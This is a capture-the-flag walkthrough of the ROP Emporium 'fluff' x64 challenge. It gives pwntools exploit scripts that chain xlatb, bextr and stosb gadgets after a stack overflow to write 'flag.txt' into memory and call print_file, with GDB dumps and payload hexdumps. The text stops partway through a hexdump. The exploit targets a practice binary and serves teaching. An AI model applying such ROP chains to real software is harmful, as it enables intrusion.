ROP Emporium - Fluff (x64)
Summary
fluff was a fundamental challenge from the rop emporium that required the pwner to write a string to an arbitrary memory address using less than ideal gadgets. Finally, the memory address we wrote to would need to be passed to a function as an argument to dump the flag’s contents. You can read more on the challenge here.
Analyze the Countermeasures
Always analyze binary countermeasures because it will determine our objective for exploiting the binary and what the limitations are. For all my binary exploit development walkthroughs, I will be using pwntools which when installed comes with checksec
. This tool analyzes countermeasures in the binary when it was initially compiled:
$ checksec fluff
[*] '/home/kali/ctf/rop-emporium/fluff/x64/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
The stack is non-executable, so we won’t be able to redirect the program’s execution to memory instructions located on the stack.
It is also notable that RUNPATH
points to the current working directory. This is because this challenge also came with a libfluff.so
shared object file that links to the executable upon runtime:
$ ldd fluff
linux-vdso.so.1 (0x00007ffe51ff0000)
libfluff.so => ./libfluff.so (0x00007fc27d6ad000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc27d4ce000)
/lib64/ld-linux-x86-64.so.2 (0x00007fc27d8b1000)
The Challenge Layout
This challenge came with a shared object file libwrite4.so
which is linked at runtime:
flag.txt fluff libfluff.so
Goals
- Write “flag.txt” to a writable memory address.
- Invoke
print_file(flag_txt_memory_address)
.
Satisfying the Criteria
This challenge will only be exploitable if we can satisfy a few conditions.
First, we need a writable memory segment in fluff
:
[0x00400628]> iS
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ----
1 0x00000238 0x1c 0x00400238 0x1c -r-- .interp
2 0x00000254 0x20 0x00400254 0x20 -r-- .note.ABI_tag
3 0x00000274 0x24 0x00400274 0x24 -r-- .note.gnu.build_id
4 0x00000298 0x38 0x00400298 0x38 -r-- .gnu.hash
5 0x000002d0 0xf0 0x004002d0 0xf0 -r-- .dynsym
6 0x000003c0 0x7e 0x004003c0 0x7e -r-- .dynstr
7 0x0000043e 0x14 0x0040043e 0x14 -r-- .gnu.version
8 0x00000458 0x20 0x00400458 0x20 -r-- .gnu.version_r
9 0x00000478 0x30 0x00400478 0x30 -r-- .rela.dyn
10 0x000004a8 0x30 0x004004a8 0x30 -r-- .rela.plt
11 0x000004d8 0x17 0x004004d8 0x17 -r-x .init
12 0x000004f0 0x30 0x004004f0 0x30 -r-x .plt
13 0x00000520 0x192 0x00400520 0x192 -r-x .text
14 0x000006b4 0x9 0x004006b4 0x9 -r-x .fini
15 0x000006c0 0x10 0x004006c0 0x10 -r-- .rodata
16 0x000006d0 0x44 0x004006d0 0x44 -r-- .eh_frame_hdr
17 0x00000718 0x120 0x00400718 0x120 -r-- .eh_frame
18 0x00000df0 0x8 0x00600df0 0x8 -rw- .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- .got
22 0x00001000 0x28 0x00601000 0x28 -rw- .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- .data
24 0x00001038 0x0 0x00601038 0x8 -rw- .bss
25 0x00001038 0x29 0x00000000 0x29 ---- .comment
26 0x00001068 0x618 0x00000000 0x618 ---- .symtab
27 0x00001680 0x1f8 0x00000000 0x1f8 ---- .strtab
28 0x00001878 0x103 0x00000000 0x103 ---- .shstrtab
The .data
section is normally a safe place to write to and has 0x10
bytes of space available.
On this note, we should be able to write flag.txt
to memory address 0x00601028
.
Next, we need to write arbitrary data to the .data
segment.
Let’s search for interesting symbols in fluff
:
[0x00400628]> is
[Symbols]
nth paddr vaddr bind type size lib name
――――――――――――――――――――――――――――――――――――――――――――――――――――――
... CONTENT SNIPPED ...
37 0x00000628 0x00400628 LOCAL NOTYPE 0 questionableGadgets
... CONTENT SNIPPED ...
We can disassemble some instructions at questionableGadgets
:
[0x00400520]> s 0x00400628
[0x00400628]> pd 16
;-- questionableGadgets:
0x00400628 d7 xlatb
0x00400629 c3 ret
0x0040062a 5a pop rdx
0x0040062b 59 pop rcx
0x0040062c 4881c1f23e00. add rcx, 0x3ef2
0x00400633 c4e2e8f7d9 bextr rbx, rcx, rdx
0x00400638 c3 ret
0x00400639 aa stosb byte [rdi], al
0x0040063a c3 ret
0x0040063b 0f1f440000 nop dword [rax + rax]
... CONTENT SNIPPED ...
Working with Less-Than Ideal Gadgets
If you have done the previous challenges from the Rop Emporium, you may find these gadgets less than ideal. Let’s analyze these gadgets and see if they are feasible for crafing a reliable exploit.
stosb byte [rdi], al
-> Writes data to the memory address pointed to by RDI.
Keep in mind that this instruction will also increment the value of RDI!
xlatb
-> sets the al
register to the memory at [rbx + al]
. You can read more on that instruction here.
Note that If we plan on controlling the value of AL
, then we also need to control the value of the RBX
register.
bextr rbx, rcx, rdx
-> extracts contiguous bits from RCX
using an index value and length specified by RDX
. Bits 7:0 in RDX
specifies the starting bit position of bit extraction. Bits 15:8 in RDX
specifies the maximum number of bits (LENGTH) beginning at the START position to extract. The extracted bits are written to RBX
starting from the least significant bit. You can read more on that instruction here.
We can control the values in the RDX
and RCX
registers with the ROP gadget at 0x0040062a
. Keep in mind, if we want to control the true value of the RCX
register, we will also need to subtract 0x3ef2
.
Next, we need a way to set the RDI register:
[0x00400628]> /R pop rdi
0x004006a3 5f pop rdi
0x004006a4 c3 ret
We have a gadget at 0x004006a3
!
Crafting the Exploit - Controlling RBX
Now that we have analyzed the gadgets, we know that this binary is exploitable. After carefully analyzing and understanding each gadget under the questionableGadgets
symbol, we should start developing our exploit with a bottom-up approach. First, we need a way to control the EBX
register. Let’s see if we can set EBX
to 0xdeadbeefdeadbeef
with the exploit code below.
Note that I’ve kept all the memory addresses to the questionable gadgets handy for later.
import ctypes
from pwn import *
def prepare_rbx(target, rop):
# Constants
pop_rdx_pop_rcx_add_rcx_bextr_ret_gadget = p64(0x0040062a) # pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
magic_const = 0x3ef2
# ROP Chaining
rop.raw(pop_rdx_pop_rcx_add_rcx_bextr_ret_gadget)
rop.raw(p64(0x4000)) # Extract 64 bits from offset 0 in RCX. Results will be written to RBX.
rop.raw(p64(ctypes.c_ulong(target - magic_const).value))
# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'
# Project constants
PROCESS = './fluff'
io = process(PROCESS)
# Debugging
gdbscript = "b *0x0040062a"
pid = gdb.attach(io, gdbscript=gdbscript)
# Gadgets
rop = ROP(io.elf)
writable_data_segment = 0x00601028
stosb_gadget = p64(0x00400639) # stosb byte [rdi], al; ret;
xlat_ret_gadget = p64(0x00400628) # xlatb; ret;
pop_rdi_ret = p64(0x004006a3) # pop rdi; ret;
# Prepare the RBX register
target = 0xdeadbeefdeadbeef
prepare_rbx(target, rop)
# Build the payload
offset = 40
padding = b"A" * offset
payload = b"".join([
padding,
rop.chain()
])
# Pwn!
io.clean()
io.sendline(payload)
io.interactive()
$ python3 exploit.py
[+] Starting local process './fluff' argv=[b'./fluff'] : pid 7087
[DEBUG] Wrote gdb script to '/tmp/pwnf6cppg2c.gdb'
b *0x0040062a
[*] running in new terminal: /usr/bin/gdb -q "./fluff" 7087 -x /tmp/pwnf6cppg2c.gdb
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q "./fluff" 7087 -x /tmp/pwnf6cppg2c.gdb']
[+] Waiting for debugger: Done
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[*] '/home/kali/ctf/rop-emporium/fluff/x64/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 13 cached gadgets for './fluff'
[DEBUG] Received 0x68 bytes:
b'fluff by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'You know changing these strings means I have to rewrite my solutions...\n'
b'> '
[DEBUG] Sent 0x41 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 2a 06 40 00 00 00 00 00 │AAAA│AAAA│*·@·│····│
00000030 00 40 00 00 00 00 00 00 fd 7f ad de ef be ad de │·@··│····│····│····│
00000040 0a │·│
00000041
[*] Switching to interactive mode
[DEBUG] Received 0xb bytes:
b'Thank you!\n'
Thank you!
Let’s see if we managed to set RBX
to 0xdeadbeefdeadbeef
in GDB:
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xb
$rbx : 0xdeadbeefdeadbeef
$rcx : 0xdeadbeefdeadbeef
$rdx : 0x4000
$rsp : 0x00007ffc7de4f900 → 0x00007ffc7de4f90a → 0x0607000000010000
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007fcc7383b723 → 0x83d670000000000a
$rdi : 0x00007fcc7383d670 → 0x0000000000000000
$rip : 0x0000000000400638 → <questionableGadgets+16> ret
$r8 : 0xb
$r9 : 0x2
$r10 : 0xfffffffffffff52d
$r11 : 0x246
$r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffc7de4f900│+0x0000: 0x00007ffc7de4f90a → 0x0607000000010000 ← $rsp
0x00007ffc7de4f908│+0x0008: 0x0000000100000000
0x00007ffc7de4f910│+0x0010: 0x0000000000400607 → <main+0> push rbp
0x00007ffc7de4f918│+0x0018: 0x00007fcc736a27d9 → <init_cacheinfo+297> mov rbp, rax
0x00007ffc7de4f920│+0x0020: 0x0000000000000000
0x00007ffc7de4f928│+0x0028: 0xcda5ee4fa35b68fe
0x00007ffc7de4f930│+0x0030: 0x0000000000400520 → <_start+0> xor ebp, ebp
0x00007ffc7de4f938│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40062b <questionableGadgets+3> pop rcx
0x40062c <questionableGadgets+4> add rcx, 0x3ef2
0x400633 <questionableGadgets+11> bextr rbx, rcx, rdx
→ 0x400638 <questionableGadgets+16> ret
↳ 0x7ffc7de4f90a add BYTE PTR [rax], al
0x7ffc7de4f90c add DWORD PTR [rax], eax
0x7ffc7de4f90e add BYTE PTR [rax], al
0x7ffc7de4f910 (bad)
0x7ffc7de4f911 (bad)
0x7ffc7de4f912 add BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400638 in questionableGadgets (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400638 → questionableGadgets()
[#1] 0x7ffc7de4f90a → add BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ p/x $rbx
$1 = 0xdeadbeefdeadbeef
Success! We have successfully written 0xdeadbeefdeadbeef
to the RBX
register!
Crafting the Exploit - Controlling AL
The xlatb
instruction is equivalent to the following:
AL = [RBX + unsigned AL]
Therefore, we should set RBX to the following:
Memory address pointing to the character we want - unsigned AL
Since we ultimately want to write flag.txt
, we will be able to predict what the values of AL should be.
In short, the first time we execute xlab
, AL
will be f
in ascii. The second time it executes, AL will be l
in ascii, and so on.
We can find addresses in memory that point to the bytes of our choice with pwntools
elf.search()
which simplifies the code when dynamically searching for specific byte patterns.
The code below builds upon the way we control the RBX
register, allowing us to immediately control the AL
register with a single function call.
Keep in mind, this requires that we have knowledge of what the AL
register was initially before we invoke this function.
In some cases, it may be preferrable to zero out the AL
register before this operation to make it predictable. However, for this challenge, the initial value in the RBX
register was 0x0b
.
import ctypes
from pwn import *
def prepare_rbx(target, rop):
# Constants
pop_rdx_pop_rcx_add_rcx_bextr_ret_gadget = p64(0x0040062a) # pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
magic_const = 0x3ef2
# ROP Chaining
rop.raw(pop_rdx_pop_rcx_add_rcx_bextr_ret_gadget)
rop.raw(p64(0x4000)) # Extract 64 bits from offset 0 in RCX. Results will be written to RBX.
rop.raw(p64(ctypes.c_ulong(target - magic_const).value))
def prepare_al(target, current_al, rop, elf):
xlat_ret_gadget = p64(0x00400628) # xlatb; ret;
target_byte_addr = next(elf.search(target))
rbx = ctypes.c_ulong(target_byte_addr - current_al).value
prepare_rbx(rbx, rop)
rop.raw(xlat_ret_gadget)
# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'
# Project constants
PROCESS = './fluff'
io = process(PROCESS)
# Debugging
gdbscript = "b *0x0040062a"
pid = gdb.attach(io, gdbscript=gdbscript)
# Gadgets
rop = ROP(io.elf)
writable_data_segment = 0x00601028
stosb_gadget = p64(0x00400639) # stosb byte [rdi], al; ret;
pop_rdi_ret = p64(0x004006a3) # pop rdi; ret;
# Build the ROP chain
# Prepare the AL register
target = b"f"
initial_al = 0x0b
prepare_al(target, initial_al, rop, io.elf)
# Build the payload
offset = 40
padding = b"A" * offset
payload = b"".join([
padding,
rop.chain()
])
# Pwn!
io.clean()
io.sendline(payload)
io.interactive()
$ python3 exploit.py
[+] Starting local process './fluff' argv=[b'./fluff'] : pid 7264
[DEBUG] Wrote gdb script to '/tmp/pwn1f_ru1mm.gdb'
b *0x0040062a
[*] running in new terminal: /usr/bin/gdb -q "./fluff" 7264 -x /tmp/pwn1f_ru1mm.gdb
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q "./fluff" 7264 -x /tmp/pwn1f_ru1mm.gdb']
[+] Waiting for debugger: Done
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[*] '/home/kali/ctf/rop-emporium/fluff/x64/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 13 cached gadgets for './fluff'
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] Received 0x68 bytes:
b'fluff by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'You know changing these strings means I have to rewrite my solutions...\n'
b'> '
[DEBUG] Sent 0x49 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 2a 06 40 00 00 00 00 00 │AAAA│AAAA│*·@·│····│
00000030 00 40 00 00 00 00 00 00 c7 c4 3f 00 00 00 00 00 │·@··│····│··?·│····│
00000040 28 06 40 00 00 00 00 00 0a │(·@·│····│·│
00000049
[*] Switching to interactive mode
[DEBUG] Received 0xb bytes:
b'Thank you!\n'
Thank you!
Let’s verify that we changed the value of the AL register to f
after executing the xlat
instruction in GDB:
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x66
$rbx : 0x00000000004003b9 → add BYTE PTR [rax], al
$rcx : 0x00000000004003b9 → add BYTE PTR [rax], al
$rdx : 0x4000
$rsp : 0x00007ffd7ab0ea28 → 0x000000010000000a
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007fd0a11e3723 → 0x1e5670000000000a
$rdi : 0x00007fd0a11e5670 → 0x0000000000000000
$rip : 0x0000000000400629 → <questionableGadgets+1> ret
$r8 : 0xb
$r9 : 0x2
$r10 : 0xfffffffffffff52d
$r11 : 0x246
$r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd7ab0ea28│+0x0000: 0x000000010000000a ← $rsp
0x00007ffd7ab0ea30│+0x0008: 0x0000000000400607 → <main+0> push rbp
0x00007ffd7ab0ea38│+0x0010: 0x00007fd0a104a7d9 → <init_cacheinfo+297> mov rbp, rax
0x00007ffd7ab0ea40│+0x0018: 0x0000000000000000
0x00007ffd7ab0ea48│+0x0020: 0x6bfaf368edcc4660
0x00007ffd7ab0ea50│+0x0028: 0x0000000000400520 → <_start+0> xor ebp, ebp
0x00007ffd7ab0ea58│+0x0030: 0x0000000000000000
0x00007ffd7ab0ea60│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400626 <usefulFunction+15> pop rbp
0x400627 <usefulFunction+16> ret
0x400628 <questionableGadgets+0> xlat BYTE PTR ds:[rbx]
→ 0x400629 <questionableGadgets+1> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400629 in questionableGadgets (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400629 → questionableGadgets()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ p/c $al
$1 = 0x66
If we convert 0x66
to ascii, we can verify that we set the AL
register to f
:
$ python3
Python 3.8.5 (default, Aug 2 2020, 15:09:07)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> chr(0x66)
'f'
>>>
Crafting the Exploit - Writing to the .data segment (RDI)
Now we just need to write the value in AL
to the memory address pointed to by RDI
enough times to write flag.txt
.
Let’s update the code to look like the following:
import ctypes
from pwn import *
def prepare_rbx(target, rop):
pop_rdx_pop_rcx_add_rcx_bextr_ret_gadget = p64(0x0040062a) # pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
rop.raw(pop_rdx_pop_rcx_add_rcx_bextr_ret_gadget)
rop.raw(p64(0x4000)) # Extract 64 bits from offset 0 in RCX. Results will be written to RBX.
rop.raw(p64(ctypes.c_ulong(target - magic_const).value))
def prepare_al(target, current_al, rop, elf):
'''
return: The current value in the AL register
'''
xlat_ret_gadget = p64(0x00400628) # xlatb; ret;
target_byte_addr = next(elf.search(target))
rbx = ctypes.c_ulong(target_byte_addr - current_al).value
prepare_rbx(rbx, rop)
rop.raw(xlat_ret_gadget)
return target
# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'
# Project constants
PROCESS = './fluff'
io = process(PROCESS)
# Debugging
gdbscript = "b *0x00400639"
pid = gdb.attach(io, gdbscript=gdbscript)
# Gadgets
rop = ROP(io.elf)
writable_data_segment = p64(0x00601028)
stosb_gadget = p64(0x00400639) # stosb byte [rdi], al; ret;
pop_rdi_ret = p64(0x004006a3) # pop rdi; ret;
magic_const = 0x3ef2
# Build the ROP chain
# Point RDI to the writeable data segment
rop.raw(pop_rdi_ret)
rop.raw(writable_data_segment)
# Prepare the AL register
target = b"f"
initial_al = 0x0b
prepare_al(target, initial_al, rop, io.elf)
# Write the byte from the AL register to the writable data segment
rop.raw(stosb_gadget)
# Build the payload
offset = 40
padding = b"A" * offset
payload = b"".join([
padding,
rop.chain()
])
# Pwn!
io.clean()
io.sendline(payload)
io.interactive()
The code above points the RDI
register to the writable .data
segment so that the stosb
operation will write the byte from AL
to the memory address pointed to by RDI
.
$ python3 exploit.py
[+] Starting local process './fluff' argv=[b'./fluff'] : pid 7489
[DEBUG] Wrote gdb script to '/tmp/pwni80v1zv8.gdb'
b *0x00400639
[*] running in new terminal: /usr/bin/gdb -q "./fluff" 7489 -x /tmp/pwni80v1zv8.gdb
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q "./fluff" 7489 -x /tmp/pwni80v1zv8.gdb']
[+] Waiting for debugger: Done
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[*] '/home/kali/ctf/rop-emporium/fluff/x64/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 13 cached gadgets for './fluff'
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] Received 0x68 bytes:
b'fluff by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'You know changing these strings means I have to rewrite my solutions...\n'
b'> '
[DEBUG] Sent 0x61 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 a3 06 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 28 10 60 00 00 00 00 00 2a 06 40 00 00 00 00 00 │(·`·│····│*·@·│····│
00000040 00 40 00 00 00 00 00 00 c7 c4 3f 00 00 00 00 00 │·@··│····│··?·│····│
00000050 28 06 40 00 00 00 00 00 39 06 40 00 00 00 00 00 │(·@·│····│9·@·│····│
00000060 0a │·│
00000061
[*] Switching to interactive mode
[DEBUG] Received 0xb bytes:
b'Thank you!\n'
Thank you!
Let’s verify that we wrote 0x66
(i.e. f
in ascii) to the writable .data
segment at 0x00601028:
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x66
$rbx : 0x00000000004003b9 → add BYTE PTR [rax], al
$rcx : 0x00000000004003b9 → add BYTE PTR [rax], al
$rdx : 0x4000
$rsp : 0x00007fff7c30a210 → 0x000000000000000a
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00007f9415efc723 → 0xefe670000000000a
$rdi : 0x0000000000601029 → 0x0000000000000000
$rip : 0x000000000040063a → <questionableGadgets+18> ret
$r8 : 0xb
$r9 : 0x2
$r10 : 0xfffffffffffff52d
$r11 : 0x246
$r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff7c30a210│+0x0000: 0x000000000000000a ← $rsp
0x00007fff7c30a218│+0x0008: 0xf82ac1961fafc0a8
0x00007fff7c30a220│+0x0010: 0x0000000000400520 → <_start+0> xor ebp, ebp
0x00007fff7c30a228│+0x0018: 0x0000000000000000
0x00007fff7c30a230│+0x0020: 0x0000000000000000
0x00007fff7c30a238│+0x0028: 0x0000000000000000
0x00007fff7c30a240│+0x0030: 0x07d4397750cfc0a8
0x00007fff7c30a248│+0x0038: 0x0702eaba6a29c0a8
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400633 <questionableGadgets+11> bextr rbx, rcx, rdx
0x400638 <questionableGadgets+16> ret
0x400639 <questionableGadgets+17> stos BYTE PTR es:[rdi], al
→ 0x40063a <questionableGadgets+18> ret
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x40063a in questionableGadgets (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40063a → questionableGadgets()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/2xg 0x0000000000601028
0x601028: 0x0000000000000066 0x0000000000000000
Success! The first byte in the data segment was set to 0x66
!
One important detail to notice is that the stosb
instruction increments RDI
. This is convenient since we don’t need to use another gadget to update RDI
as it already points to the location in memory we want to write to.
Crafting the Exploit - Putting it all Together
At this point, we just need to automate the steps from earlier to write whatever we want to the writable .data
segment.
Let’s update the code:
import ctypes
from pwn import *
def prepare_rbx(target, rop):
# Constants
pop_rdx_pop_rcx_add_rcx_bextr_ret_gadget = p64(0x0040062a) # pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
magic_const = 0x3ef2
# ROP Chaining
rop.raw(pop_rdx_pop_rcx_add_rcx_bextr_ret_gadget)
rop.raw(p64(0x4000)) # Extract 64 bits from offset 0 in RCX. Results will be written to RBX.
rop.raw(p64(ctypes.c_ulong(target - magic_const).value))
def prepare_al(target, current_al, rop, elf):
'''
return: The current value in the AL register
'''
xlat_ret_gadget = p64(0x00400628) # xlatb; ret;
target_byte_addr = next(elf.search(target))
rbx = ctypes.c_ulong(target_byte_addr - current_al).value
prepare_rbx(rbx, rop)
rop.raw(xlat_ret_gadget)
return target
# Set the pwntools context
context.arch = 'amd64'
context.log_level = 'debug'
# Project constants
PROCESS = './fluff'
io = process(PROCESS)
# Gadgets
rop = ROP(io.elf)
writable_data_segment = p64(0x00601028)
stosb_gadget = p64(0x00400639) # stosb byte [rdi], al; ret;
pop_rdi_ret = p64(0x004006a3) # pop rdi; ret;
print_file = p64(io.elf.plt['print_file'])
# Build the ROP chain
# Point RDI to the writeable data segment
rop.raw(pop_rdi_ret)
rop.raw(writable_data_segment)
# Write the target to the writable data segment
target = b"flag.txt" # The target we want to write to memory
previous_al = 0x0b # The initial value in the AL register before exploitation
for b in target:
# Prepare the AL register
previous_al = prepare_al(b, previous_al, rop, io.elf)
# Write the byte from the AL register to the writable data segment
rop.raw(stosb_gadget)
# Point RDI to the writeable data segment that holds the target data. This is important because the stosb instruction mutated it.
rop.raw(pop_rdi_ret)
rop.raw(writable_data_segment)
# Dump the flag
rop.raw(print_file)
# Build the payload
offset = 40
padding = b"A" * offset
payload = b"".join([
padding,
rop.chain()
])
# Pwn!
io.clean()
io.sendline(payload)
io.interactive()
The new prepare_al
function returns what it set AL
to. This is parameter is required if we wish to run the function again.
Then, we iterate though the target string flag.txt
so that we can write one byte at a time to the writable data segment.
Finally, we point RDI
to flag.txt
and invoke print_file
to dump its contents.
$ python3 exploit.py
[+] Starting local process './fluff' argv=[b'./fluff'] : pid 7582
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[*] '/home/kali/ctf/rop-emporium/fluff/x64/fluff'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] Loaded 13 cached gadgets for './fluff'
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] PLT 0x400500 pwnme
[DEBUG] PLT 0x400510 print_file
[DEBUG] Received 0x68 bytes:
b'fluff by ROP Emporium\n'
b'x86_64\n'
b'\n'
b'You know changing these strings means I have to rewrite my solutions...\n'
b'> '
[DEBUG] Sent 0x191 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 a3 06 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000030 28 10 60 00 00 00 00 00 2a 06 40 00 00 00 00 00 │(·`·│····│*·@·│····│
00000040 00 40 00 00 00 00 00 00 c7 c4 3f 00 00 00 00 00 │·@··│····│··?·│····│
00000050 28 06 40 00 00 00 00 00 39 06 40 00 00 00 00 00 │(·@·│····│9·@·│····│
00000060 2a 06 40 00 00 00 00 00 00 40 00 00 00 00 00 00 │*·@·│····│·@··│····│
00000070 e1 c2 3f 00 00 00 00 00 28 06 40 00 00 00 00 00 │··?·│····│(·@·│····│
00000080 39 06 40 00 00 00 00 00 2a 06 40 00 00 00 00 00 │9·@·│····│*·@·│····│
00000090 00 40 00 00 00 00 00 00 78 c4 3f 00 00 00 00 00 │·@··│····│x·?·│····│
000000a0 28 06 40 00 00 00 00 00 39 06 40 00 00 00 00 00 │(·@·│····│9·@·│····│
000000b0 2a 06 40 00 00 00 00 00 00 40 00 00 00 00 00 00 │*·@·│····│·@··│····│
000000c0 7c c4 3f 00 00 00 00 00 28 06 40 00 00 00 00 00 │|·?·│····│(·@·│····│
000000d0 39 06 40 00 00 00 00 00 2a 06 40 00 00 00 00 00 │9·@·│····│*·@·│····│
000000e0 00 40 00 00 00 00 00 00 f5 c2 3f 00 00 00 00 00 │·@··│····│··?·│····│
